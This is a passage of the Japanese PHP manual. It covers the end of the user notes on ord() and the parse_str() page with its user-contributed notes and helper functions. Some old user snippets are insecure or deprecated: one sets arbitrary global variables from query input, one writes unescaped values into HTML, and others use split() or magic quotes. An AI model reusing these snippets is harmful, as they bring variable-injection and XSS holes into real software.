      $result = null;

      for ($pos = 0; $pos < mb_strlen($txt); $pos++) {

         $char = mb_substr($txt, $pos, 1);

         if (!preg_match("/[A-Za-z1-9,.]/", $char)) {
            //unicode ord real!!!
            $k   = mb_convert_encoding($char, 'UCS-2LE', 'UTF-8');
            $k1  = ord(substr($k, 0, 1));
            $k2  = ord(substr($k, 1, 1));
            $ord = $k2 * 256 + $k1;

            if ($ord > 255) {
               $result .= '\uc1\u' . $ord . '*';
            } elseif ($ord > 32768) {
               $result .= '\uc1\u' . ($ord - 65535) . '*';
            } else {
               $result .= "\\'" . dechex($ord);
            }
         } else {
            $result .= $char;
         }
      }
      return $result;
   }
rowan dot collins at cwtdigital dot com 11-Jun-2013 06:28
Regarding character sets, and whether or not this is "ASCII". Firstly, there is no such thing as "8-bit ASCII", so if it were ASCII it would only ever return integers up to 127. 8-bit ASCII-compatible encodings include the ISO 8859 family of encodings, which map various common characters to the values from 128 to 255. UTF-8 is also designed so that characters representable in 7-bit ASCII are coded the same; byte values higher than 127 in a UTF-8 string represent the beginning of a multi-byte character.

In fact, like most of PHP's string functions, this function isn't doing anything to do with character encoding at all - it is just interpreting a binary byte from a string as an unsigned integer. That is, ord(chr(200)) will always return 200, but what character chr(200) *means* will vary depending on what character encoding it is *interpreted* as part of (e.g. during display).

A technically correct description would be "Returns an integer representation of the first byte of a string, from 0 to 255. For single-byte encodings such as (7-bit) ASCII and the ISO 8859 family, this will correspond to the first character, and will be the position of that character in the encoding's mapping table. For multi-byte encodings, such as UTF-8 or UTF-16, the byte may not represent a complete character."

The link to asciitable.com should also be replaced by one which explains what character encoding it is displaying, as "Extended ASCII" is an ambiguous and misleading name.
arglanir+phpnet at gmail dot com 23-Aug-2012 03:06
As ord() doesn't work with utf-8, and if you do not have access to mb_* functions, the following function will work well:
<?php
function ordutf8($string, &$offset) {
    $code = ord(substr($string, $offset,1));
    if ($code >= 128) {        //otherwise 0xxxxxxx
        if ($code < 224) $bytesnumber = 2;                //110xxxxx
        else if ($code < 240) $bytesnumber = 3;        //1110xxxx
        else if ($code < 248) $bytesnumber = 4;    //11110xxx
        $codetemp = $code - 192 - ($bytesnumber > 2 ? 32 : 0) - ($bytesnumber > 3 ? 16 : 0);
        for ($i = 2; $i <= $bytesnumber; $i++) {
            $offset ++;
            $code2 = ord(substr($string, $offset, 1)) - 128;        //10xxxxxx
            $codetemp = $codetemp*64 + $code2;
        }
        $code = $codetemp;
    }
    $offset += 1;
    if ($offset >= strlen($string)) $offset = -1;
    return $code;
}
?>
$offset is a reference, as it is not easy to split a utf-8 char-by-char. Useful to iterate on a string:
<?php
$text = "abcaes?abc";
$offset = 0;
while ($offset >= 0) {
    echo $offset.": ".ordutf8($text, $offset)."\n";
}
/* returns:
0: 97
1: 98
2: 99
3: 224
5: 234
7: 223
9: 8364
12: 97
13: 98
14: 99
*/
?>
Feel free to adapt my code to fit your needs.
v0rbiz at yahoo dot com 28-May-2004 04:15
I did not found a unicode/multibyte capable 'ord' function, so...

<?php
function uniord($u) {
    $k = mb_convert_encoding($u, 'UCS-2LE', 'UTF-8');
    $k1 = ord(substr($k, 0, 1));
    $k2 = ord(substr($k, 1, 1));
    return $k2 * 256 + $k1;
}
?>


文字列を処理し、変数に代入する

  • ≪ ord
  • print ≫
  • PHP Manual
  • String 関数
  • 文字列を処理し、変数に代入する

parse_str

(PHP 4, PHP 5, PHP 7, PHP 8)

parse_str — 文字列を処理し、変数に代入する

説明

parse_str ( string $string , array &$result ) : void

URL 経由で渡されるクエリ文字列と同様に string を処理し、現在のスコープに変数をセットします。 (result が指定された場合は、配列 result にセットします)

パラメータ

string

入力文字列。

result

2 番目の引数 result が指定された場合、 変数は、代わりに配列の要素としてこの変数に保存されます。

警告

この関数を result パラメータを指定せずに使うことは 絶対に おすすめしません し、 PHP 7.2 以降では 推奨されません

返り値

値を返しません。

変更履歴

バージョン | 説明
8.0.0 | result は、オプションではなくなりました。
7.2.0 | parse_str()関数を 第二引数を指定せずに使うと E_DEPRECATED レベルの警告が発生するようになりました。

例

例1 parse_str() の使用法

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";

// 推奨
parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz

// お勧めできない
parse_str($str);
echo $first;  // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>

PHP における変数は、名前にドットやスペースを許容しないので、 そういった値はアンダースコアに変換されます。同じことは、 この関数に result パラメータを指定した 場合の、配列のキーの名前にも当てはまります。

例2 parse_str() name mangling

<?php
parse_str("My Value=Something");
echo $My_Value; // Something

parse_str("My Value=Something", $output);
echo $output['My_Value']; // Something
?>

注意

注意:

全ての作成された変数 (第二引数が設定された場合は配列に設定される値) の値は、既に urldecode() されています。

注意:

現在の QUERY_STRING を取得するには、変数 $_SERVER['QUERY_STRING'] を使用する事ができます。また、 外部から来る変数 のセクションも読んでください。

注意:

magic_quotes_gpc の設定が、この関数の出力に影響を与えます。というのも parse_str() が使用している仕組みは PHP が $_GET や $_POST などの設定に使用しているものと同じだからです。

参考

  • parse_url() - URL を解釈し、その構成要素を返す
  • pathinfo() - ファイルパスに関する情報を返す
  • http_build_query() - URL エンコードされたクエリ文字列を生成する
  • urldecode() - URL エンコードされた文字列をデコードする

User Contributed Notes

twiddly 21-Jan-2018 10:54
proper_parse_str works great and I like that it doesn't replace spaces with underbars, but should urldecode $value
alxcube at gmail dot com 18-Jun-2016 06:50
if you need custom arg separator, you can use this function. it returns parsed  query as associative array.

<?php

/**
 * Parses http query string into an array
 *
 * @author Alxcube <alxcube@gmail.com>
 *
 * @param string $queryString String to parse
 * @param string $argSeparator Query arguments separator
 * @param integer $decType Decoding type
 * @return array
 */
function http_parse_query($queryString, $argSeparator = '&', $decType = PHP_QUERY_RFC1738) {
        $result             = array();
        $parts              = explode($argSeparator, $queryString);

        foreach ($parts as $part) {
                list($paramName, $paramValue)   = explode('=', $part, 2);

                switch ($decType) {
                        case PHP_QUERY_RFC3986:
                                $paramName      = rawurldecode($paramName);
                                $paramValue     = rawurldecode($paramValue);
                                break;

                        case PHP_QUERY_RFC1738:
                        default:
                                $paramName      = urldecode($paramName);
                                $paramValue     = urldecode($paramValue);
                                break;
                }

                if (preg_match_all('/\[([^\]]*)\]/m', $paramName, $matches)) {
                        $paramName      = substr($paramName, 0, strpos($paramName, '['));
                        $keys           = array_merge(array($paramName), $matches[1]);
                } else {
                        $keys           = array($paramName);
                }

                $target         = &$result;

                foreach ($keys as $index) {
                        if ($index === '') {
                                if (isset($target)) {
                                        if (is_array($target)) {
                                                $intKeys        = array_filter(array_keys($target), 'is_int');
                                                $index  = count($intKeys) ? max($intKeys)+1 : 0;
                                        } else {
                                                $target = array($target);
                                                $index  = 1;
                                        }
                                } else {
                                        $target         = array();
                                        $index          = 0;
                                }
                        } elseif (isset($target[$index]) && !is_array($target[$index])) {
                                $target[$index] = array($target[$index]);
                        }

                        $target         = &$target[$index];
                }

                if (is_array($target)) {
                        $target[]   = $paramValue;
                } else {
                        $target     = $paramValue;
                }
        }

        return $result;
}

?>
StanE 17-Sep-2015 09:57
Note that the characters "." and " " (empty space) will be converted to "_". The characters "[" and "]" have special meaning: They represent arrays but there seems to be some weird behaviour, which I don't really understand:

<?php
// Note: "[" = %5B, "]" = %5D

/*
"v][=a" produces ("[" gets replaced by "_"):
Array
(
    [v]_] => a
)
*/
parse_str("v%5D%5B=a", $r);
print_r($r);

/*
"v][[=a" produces (first "[" gets replaced by "_", but not all following):
Array
(
    [v]_[] => a
)
*/
parse_str("v%5D%5B%5B=a", $r);
print_r($r);

?>
zweibieren at yahoo dot com 27-Apr-2015 03:18
If the arr argument is provided, all its existing elements are removed.
markc 30-Jun-2013 04:43
Beware using parse_str in a function that has vars passed by reference. It seems that parse_str actually creates new vars even if vars of the same name exist. If you pass by ref vars of the same name as those in a query string being parsed new LOCAL vers will be created and you won't get any values passed back to the caller (relates to what Maikel mentioned below)

An unrealistic example (vaguely related to what I was doing when I found this out)...

function get_title($query,&$title)
{
  parse_str($query);
  $title=str_replace("_"," ",$title);
}

$title="foo";
$query = "context=something&title=Title_of_Something";
get_title($query,$title);

echo $title .... "foo"
jrgns at jadeit dot co dot za 27-Jun-2012 08:57
The array to be populated does not need to be defined before calling the function:

<?php
error_reporting(E_ALL | E_STRICT);
parse_str('var=value', $array);
?>

This will not produce a notice.
shagshag 14-May-2012 05:51
That's not says in the description but max_input_vars directive affects this function. If there are more input variables on the string than specified by this directive, an E_WARNING is issued, and further input variables are truncated from the request.
Benjamin Garcia 26-Apr-2012 09:18
function like parse_str, but doesn't convert spaces and dots to underscores in $_GET AND $_POST

/**
 * GET and POST input containing dots, etc.
 */
function getRealREQUEST() {
    $vars = array();

    $input    = $_SERVER['REDIRECT_QUERY_STRING'];
    if(!empty($input)){
        $pairs    = explode("&", $input);
        foreach ($pairs     as $pair) {
            $nv                = explode("=", $pair);

            $name            = urldecode($nv[0]);
            $nameSanitize    = preg_replace('/([^\[]*)\[.*$/','$1',$name);

            $nameMatched    = str_replace('.','_',$nameSanitize);
            $nameMatched    = str_replace(' ','_',$nameMatched);

            $vars[$nameSanitize]    = $_REQUEST[$nameMatched];
        }
    }

    $input    = file_get_contents("php://input");
    if(!empty($input)){
        $pairs    = explode("&", $input);
        foreach ($pairs as $pair) {
            $nv                = explode("=", $pair);

            $name            = urldecode($nv[0]);
            $nameSanitize    = preg_replace('/([^\[]*)\[.*$/','$1',$name);

            $nameMatched    = str_replace('.','_',$nameSanitize);
            $nameMatched    = str_replace(' ','_',$nameMatched);

            $vars[$nameSanitize]    = $_REQUEST[$nameMatched];
        }
    }

    return $vars;
}
Will Voelcker 12-Aug-2010 11:07
If you need a function that does something similar to parse_str, but doesn't convert spaces and dots to underscores, try something like the following:

<?php
function parseQueryString($str) {
    $op = array();
    $pairs = explode("&", $str);
    foreach ($pairs as $pair) {
        list($k, $v) = array_map("urldecode", explode("=", $pair));
        $op[$k] = $v;
    }
    return $op;
}
?>

It may need adapting to handle various edge cases.
tobsn at php dot net 01-Jul-2008 11:17
just a heads up with the example above:
?var[]=123 - the [] has to be urlencoded.
var names and var values - both have to be urlencoded!
helpmepro1 at gmail dot com 28-Apr-2008 09:09
<?
//by shimon doodkin

 $url_form=url_to_form($url);
 echo '<form action="'.$url_form['action'].'" method="get">';
 echo $url_form['hidden'];
 echo '<input name="otherfiled" type="text">';
 echo '<input type="submit">';
 echo '</form>';

 function url_to_form($url)
 {
  $url=split('\?',$url,2);
  $action=$url[0];
  $hidden="";
  if(isset($url[1]))
  {
   $pairs=split('&',$url[1]);
   foreach($pairs as $pair)
   {
    $pair=split('=',$pair,2);
    $name=$pair[0];
    if(isset($pair[1]))
     $value=$pair[1];
    else
     $value='';
    $name=$name;
    $value=htmlspecialchars($value);
    if($name!='')
     $hidden.='<hidden name="'.$name.'" value="'.$value.'">';
   }
  }
  return array('action'=>$action,'hidden'=>$hidden);
 }

?>
chris at mcfadyen dot ca 13-Nov-2007 04:02
I shouldn't've posted the original version, as it only worked with the most basic of query strings.

This function will parse an html-safe query-like url string for variables and php-like ordered and associative arrays.  It places them into the global scope as parse_str does and adds minimal slashes for database insertions without the triple-slash problems that magic quotes can produce (the reason I had to write it in the first place).  If you don't need the slashes, they're easy enough to remove.

<?php
function parse_query($str) {

    // Separate all name-value pairs
    $pairs = explode('&', $str);

    foreach($pairs as $pair) {

        // Pull out the names and the values
        list($name, $value) = explode('=', $pair, 2);

        // Decode the variable name and look for arrays
        list($name, $index) = split('[][]', urldecode($name));

        // Arrays
        if(isset($index)) {

            // Declare or add to the global array defined by $name
            global $$name;
            if(!isset($$name)) $$name = array();

            // Associative array
            if($index != "") {
                ${$name}[$index] = addslashes(urldecode($value));

            // Ordered array
            } else {
                array_push($$name, addslashes(urldecode($value)));
            }

        // Variables
        } else {

            // Declare or overwrite the global variable defined by $name
            global $$name;
            $$name = addslashes(urldecode($value));
        }
    }
}
?>
chris at mcfadyen dot ca 31-Oct-2007 08:48
If you wish a version of parse_str sans magic quotes, the following will do the trick:

<?php
function parse_query($str) {
    $pairs = explode('&', $str);

    foreach($pairs as $pair) {
        list($name, $value) = explode('=', $pair, 2);
        global $$name;
        $$name = $value;
    }
}
?>
Evan K 30-Jul-2007 07:43
It bears mentioning that the parse_str builtin does NOT process a query string in the CGI standard way, when it comes to duplicate fields.  If multiple fields of the same name exist in a query string, every other web processing language would read them into an array, but PHP silently overwrites them:

<?php
# silently fails to handle multiple values
parse_str('foo=1&foo=2&foo=3');

# the above produces:
$foo = array('foo' => '3');
?>

Instead, PHP uses a non-standards compliant practice of including brackets in fieldnames to achieve the same effect.

<?php
# bizarre php-specific behavior
parse_str('foo[]=1&foo[]=2&foo[]=3');

# the above produces:
$foo = array('foo' => array('1', '2', '3') );
?>

This can be confusing for anyone who's used to the CGI standard, so keep it in mind.  As an alternative, I use a "proper" querystring parser function:

<?php
function proper_parse_str($str) {
  # result array
  $arr = array();

  # split on outer delimiter
  $pairs = explode('&', $str);

  # loop through each pair
  foreach ($pairs as $i) {
    # split into name and value
    list($name,$value) = explode('=', $i, 2);

    # if name already exists
    if( isset($arr[$name]) ) {
      # stick multiple values into an array
      if( is_array($arr[$name]) ) {
        $arr[$name][] = $value;
      }
      else {
        $arr[$name] = array($arr[$name], $value);
      }
    }
    # otherwise, simply stick it in a scalar
    else {
      $arr[$name] = $value;
    }
  }

  # return result array
  return $arr;
}

$query = proper_parse_str($_SERVER['QUERY_STRING']);
?>
Vladimir Kornea 17-Jul-2007 09:04
parse_str() is confused by ampersands (&) being encoded as HTML entities (&amp;). This is relevant if you're extracting your query string from an HTML page (scraping). The solution is to run the string through html_entity_decode() before running it through parse_str().

(Editors: my original comment was a caution whose solution is obvious, but it has resulted in three replies ("so what?" "as intended" and "this is how to fix it"). Please remove the previous four posts dealing with this (69529, 70234, 72745, 74818) and leave just the above summary. This issue is too trivial to warrant the number of comments it has received.)
mike dot coley at inbox dot com 02-Jun-2007 12:25
Here is a little function that does the opposite of the parse_str function. It will take an array and build a query string from it.

<?php

/* Converts an array of parameters into a query string to be appended to a URL.
 *
 * @return  string              : Query string to append to a URL.
 * @param   array    $array     : Array of parameters to append to the query string.
 * @param   string   $parent    : This should be left blank (it is used internally by the function).
 */
function append_params($array, $parent='')
{
    $params = array();
    foreach ($array as $k => $v)
    {
        if (is_array($v))
            $params[] = append_params($v, (empty($parent) ? urlencode($k) : $parent . '[' . urlencode($k) . ']'));
        else
            $params[] = (!empty($parent) ? $parent . '[' . urlencode($k) . ']' : urlencode($k)) . '=' . urlencode($v);
    }

    $sessid = session_id();
    if (!empty($parent) || empty($sessid))
        return implode('&', $params);

    // Append the session ID to the query string if we have to.
    $sessname = session_name();
    if (ini_get('session.use_cookies'))
    {
        if (!ini_get('session.use_only_cookies') && (!isset($_COOKIE[$sessname]) || ($_COOKIE[$sessname] != $sessid)))
            $params[] = $sessname . '=' . urlencode($sessid);
    }
    elseif (!ini_get('session.use_only_cookies'))
        $params[] = $sessname . '=' . urlencode($sessid);

    return implode('&', $params);
}

?>

Note that the function will also append the session ID to the query string if it needs to be.
Michal Zalewski 28-Apr-2007 11:27
Vladimir Kornea:
Try use html_entity_decode()

$str = 'first=value&amp;arr[]=foo+bar&amp;arr[]=baz';
parse_str(html_entity_decode($str), $output);
print_r($output);

Array
(
    [first] => value
    [arr] => Array
        (
            [0] => foo bar
            [1] => baz
        )

)
php at voodoolabs dot net 07-Mar-2007 12:32
This is probably a better solution than below. The first line makes sure the file doesn't exist then the second line directs all requests to a script. No need to output a 200 header with this method either.

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php      [L]
lenix.de 10-Feb-2007 04:20
if you would like to get a nice url scheme with php/apache and and want to handle all requests in a central php script there's a simple solution/hack:

create a .htaccess in your "basedir" where you've got your main script (in this example index.php) containing some lines like:

"ErrorDocument 404 /index.php"

inside index.php you can now do

<?php
    $virtual_path = substr(
        $_SERVER['REQUEST_URI'],
        strlen( dirname( $_SERVER['PHP_SELF'] ) ) + 1
    );
    if( ($pos = strpos( $virtual_path, '?' )) !== false ) {
        parse_str( substr( $virtual_path, $pos + 1 ), $_GET );
        $_REQUEST = array_merge( $_REQUEST, $_GET );
        $virtual_path = substr( $virtual_path, 0, $pos );
    }

    // some code checking for a valid location, etc...
    header( 'HTTP/1.1 200 OK' );
    header( 'Content-Type: text/plain' );

    echo $virtual_path."\n\n";
    print_r( $_REQUEST );
?>

// guido 'lenix' boehm
jgbreezer at gmail dot com 31-Jan-2007 04:52
Vladimir Kornea wrote on 8 Sep 2006:
"This function is confused by ampersands (&) being encoded as HTML entities (&amp;)"

Well, it would be - it's not supposed to be passed html entities, that's a different encoding scheme. This function does correctly decode url encoded params for you though (with the rawurlencode rather than urlencode, ie '+' is translated to a space).
Olivier Mengue 07-Oct-2006 02:02
Vladimir: the function is OK in how it deals with &amp;.
&amp; must only be used when outputing URLs in HTML/XML data.
You should ask yourself why you have &amp; in your URL when you give it to parse_str.
Vladimir Kornea 08-Sep-2006 02:15
This function is confused by ampersands (&) being encoded as HTML entities (&amp;).

$str = "first=value&amp;arr[]=foo+bar&amp;arr[]=baz";
parse_str($str, $output);
print_r($output);

Array
(
    [first] => value
    [amp;arr] => Array
        (
            [0] => foo bar
            [1] => baz
        )
)
PEPE_RIVAS at repixel dot net 28-Aug-2006 06:21
CONVERT ANY FORMATTED STRING INTO VARIABLES

I developed a online payment solution for credit cards using a merchant, and this merchant returns me an answer of the state of the transaction like this:

estado=1,txnid=5555444-8454445-4455554,monto=100.00

to have all that data into variables could be fine for me! so i use str_replace(), the problem is this function recognizes each group of variables with the & character... and i have  comma separated values... so i replace comma with &

<?php
$string = "estado=1,txnid=5555444-8454445-4455554,monto=100.00";
$string = str_replace(",","&",$string);
parse_str($string);
echo $monto; // outputs 100.00
?>
motin at demomusic dot nu 14-Apr-2006 06:13
When you have scripts run through the command-line (like locally via cron), you might want to be able to use _GET and _POST vars. Put this in top of your scheduled task files:

<?
    parse_str ($_SERVER['argv'][1], $GLOBALS['_GET']);
    parse_str ($_SERVER['argv'][2], $GLOBALS['_POST']);
?>

And call your script by:

/usr/local/bin/php /path/to/script.php "id=45&action=delete" "formsubmitted=true"

Cheers!
avi at amarcus dot com 03-Sep-2005 06:32
If you are trying to preserve a complex array, the function serialize might be better than http_build_query or other methods of making a query string.
29-Jun-2005 05:59
As of PHP 5, you can do the exact opposite with http_build_query(). Just remember to use the optional array output parameter.

This is a very useful combination if you want to re-use a search string url, but also slightly modify it:

Example:
<?
$url1 = "action=search&interest[]=sports&interest[]=music&sort=id";
$str = parse_str($url1, $output);

// Modifying criteria:
$output['sort'] = "interest";

$url2 = http_build_query($output);

echo "<br>url1: ".$url1;
echo "<br>url2: ".$url2;
?>

Results in:
url1: action=search&interest[]=sports&interest[]=music&sort=id
url2: action=search&interest[0]=sports&interest[1]=music&sort=interest

(Array indexes are automatically created.)
kerosuppi 29-May-2005 09:22
This does not work as expected.

<?php
class someclass
{
    var $query_string;
    function someclass($a_query_string)
    {
        $this->query_string = $a_query_string;
        parse_str($this->query_string);
    }
    function output()
    {
        echo $this->action;
    }
}

$a_class = new someclass("action=go");
$a_class->output();
?>

Use this instead.

<?php
class someclass
{
    var $arr;
    function someclass($a_query_string)
    {
        parse_str($a_query_string, $this->arr);
    }
    function output()
    {
        echo $this->arr['action'];
    }
}

$a_class = new someclass("action=go");
$a_class->output();
?>
mortoray at ecircle-ag dot com 25-May-2005 12:18
In Kent's solution you may wish to switch "urldecode" into "rawurldecode" if you'd like to get rid of the [annoying] plus '+' converted to space ' ' translation.
kent at nospam dot ioflux dot com 06-May-2005 08:13
You may want to parse the query string into an array.

<?php
/**
 * Similar to parse_str. Returns false if the query string or URL is empty. Because we're not parsing to
 * variables but to array key entries, this function will handle ?[]=1&[]=2 "correctly."
 *
 * @return array Similar to the $_GET formatting that PHP does automagically.
 * @param string $url A query string or URL
 * @param boolean $qmark Find and strip out everything before the question mark in the string
*/
function parse_query_string($url, $qmark=true)
{
    if ($qmark) {
        $pos = strpos($url, "?");
        if ($pos !== false) {
            $url = substr($url, $pos + 1);
        }
    }
    if (empty($url))
        return false;
    $tokens = explode("&", $url);
    $urlVars = array();
    foreach ($tokens as $token) {
        $value = string_pair($token, "=", "");
        if (preg_match('/^([^\[]*)(\[.*\])$/', $token, $matches)) {
            parse_query_string_array($urlVars, $matches[1], $matches[2], $value);
        } else {
            $urlVars[urldecode($token)] = urldecode($value);
        }
    }
    return $urlVars;
}

/**
 * Utility function for parse_query_string. Given a result array, a starting key, and a set of keys formatted like "[a][b][c]"
 * and the final value, updates the result array with the correct PHP array keys.
 *
 * @return void
 * @param array $result A result array to populate from the query string
 * @param string $k The starting key to populate in $result
 * @param string $arrayKeys The key list to parse in the form "[][a][what%20ever]"
 * @param string $value The value to place at the destination array key
*/
function parse_query_string_array(&$result, $k, $arrayKeys, $value)
{
    if (!preg_match_all('/\[([^\]]*)\]/', $arrayKeys, $matches))
        return $value;
    if (!isset($result[$k])) {
        $result[urldecode($k)] = array();
    }
    $temp =& $result[$k];
    $last = urldecode(array_pop($matches[1]));
    foreach ($matches[1] as $k) {
        $k = urldecode($k);
        if ($k === "") {
            $temp[] = array();
            $temp =& $temp[count($temp)-1];
        } else if (!isset($temp[$k])) {
            $temp[$k] = array();
            $temp =& $temp[$k];
        }
    }
    if ($last === "") {
        $temp[] = $value;
    } else {
        $temp[urldecode($last)] = $value;
    }
}

/**
* Breaks a string into a pair for a common parsing function.
*
* The string passed in is truncated to the left half of the string pair, if any, and the right half, if anything, is returned.
*
* An example of using this would be:
* <code>
* $path = "Account.Balance";
* $field = string_pair($path);
*
* $path is "Account"
* $field is "Balance"
*
* $path = "Account";
* $field = string_pair($path);
*
* $path is "Account"
* $field is false
* </code>
*
* @return string The "right" portion of the string is returned if the delimiter is found.
* @param string $a A string to break into a pair. The "left" portion of the string is returned here if the delimiter is found.
* @param string $delim The characters used to delimit a string pair
* @param mixed $default The value to return if the delimiter is not found in the string
* @desc
*/
function string_pair(&$a, $delim='.', $default=false)
{
    $n = strpos($a, $delim);
    if ($n === false)
        return $default;
    $result = substr($a, $n+strlen($delim));
    $a = substr($a, 0, $n);
    return $result;
}

?>
anatilmizun at gmail dot com 12-Oct-2004 04:10
I wrote a pair of functions using parse_str() that will write values in an array to a textfile and vice versa, read those values from the textfile back into the array. Quite useful if you need to store lots of data but don't have access to SQL.

Save the array by calling cfg_save($filename,$array) and load it back using $array=cfg_load($filename)

<?php
$newline="?";

function cfg_load($cfgfile){
    global $newline;
    $setting="";
    if(file_exists($cfgfile)){
        $setting=fopen($cfgfile, "r");
        $ookk="";
        while($ook=fgets($setting)){
            #strip comment
            $commt=strpos($ook,"##");
            if($commt!==false) $ook=substr($ook,0,$commt);
            #append
            if($ook!="") $ookk=$ookk."&".    str_replace($newline,"\n",str_replace("&","%26",trim($ook)));
        }
        fclose($setting);
        parse_str($ookk, $setting);
    }
    return $setting;
}

function cfg_save($cfgfile,$setting){
    global $intArray;
    $intArray="";
    for($i=0;$i<2000;$i++)
        $intArray[]=$i;
    if(is_array($setting)){
        $allkeys=array_keys($setting);
        foreach($allkeys as $aKey)
            cfg_recurse($setting[$aKey], $aKey, $outArray);
    }
    $cfgf=fopen($cfgfile,"w");
    foreach($outArray as $aLine)
        fputs($cfgf,stripslashes($aLine)."\r\n");
    fclose($cfgf);
}

function cfg_recurse($stuffIn, $keysofar, &$toAppend){
    global $intArray, $newline;
    if(is_array($stuffIn)){
        $allkeys=array_keys($stuffIn);
        if(array_slice($intArray,0,sizeof($allkeys))==$allkeys)
            $nokey=true;
        else
            $nokey=false;
        foreach($allkeys as $aKey){
            if(!$nokey) $toKey=$aKey;
            cfg_recurse($stuffIn[$aKey], $keysofar."[".$toKey."]", $toAppend);
        }
    }else
        $toAppend[]=$keysofar."=".str_replace("\n",$newline,$stuffIn);
}
?>

Note that these functions support nested arrays of unlimited levels ;)